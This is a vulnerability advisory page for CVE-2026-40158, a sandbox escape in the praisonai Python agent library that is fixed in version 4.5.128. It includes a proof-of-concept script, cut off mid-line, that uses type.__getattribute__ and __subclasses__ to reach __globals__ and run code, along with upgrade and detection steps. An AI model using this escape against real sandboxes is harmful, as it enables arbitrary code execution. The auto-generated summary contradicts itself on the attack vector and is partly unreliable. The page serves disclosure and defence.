Categories
CVE-2026-40158

Vulnerability in praisonai (CVE-2026-40158)

Summary

Vulnerability in praisonai (CVE-2026-40158). Successful exploitation can lead to full system takeover. Exploitable via type.__getattribute__. Mitigation: upgrade to 4.5.128 or later.

Original description

The description as published by the source.

PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code.

Description

The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing bypass via:

The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions.

type.__getattribute__(obj, '__subclasses__')  # Bypasses filter

The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list.

Proof of Concept

# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)

# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, '__bases__')
obj_cls = bases[0]

# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')
all_subclasses = subclasses_fn()

# Find _wrap_close class
for c in all_subclasses:
    if t.__getattribute__(c, '__name__') == '_wrap_close':
        # Get __init__.__globals__ via bypass
        init = t.__getattribute__(c, '__init__')
        glb = type(init).__getattribute__(init, '__globa…

Source: OSV.dev (Open Source Vulnerabilities) NVD GitHub Advisory OSV

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-40158 has been found in praisonai.
Attackers can target a specific entry point like type.__getattribute__ over the network to misuse the product.
Successful exploitation can lead to full system takeover.
What to do: upgrade praisonai to 4.5.128 or later.
If unsure, ask your IT team or search "praisonai CVE-2026-40158" on the vendor's site.

CVE-2026-40158 (praisonai) — CWE-693
Attack vector: local / unauthenticated
Attack surface: type.__getattribute__ / _execute_code_direct / __subclasses__ / __globals__
Patched: 4.5.128 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (CWE-693) exists in praisonai. Attackers reach the vulnerable code path via type.__getattribute__ without authentication.

📍 Affected scope

Check the vendor advisory for the affected versions of praisonai. Attack surface: type.__getattribute__ / _execute_code_direct / __subclasses__ / __globals__.

🔥 Severity

Severity: ?. Successful exploitation can lead to full system takeover.

🔧 How to fix

Update to 4.5.128.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'praisonai' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify
    grep -r 'praisonai' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で praisonai を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch
    Upgrade praisonai to 4.5.128

    ステージング環境で 4.5.128 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

PyPI praisonai
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.128"}]}]

References

We use cookies for analytics and ad measurement. This setting applies to all Game co., Ltd. sites. Details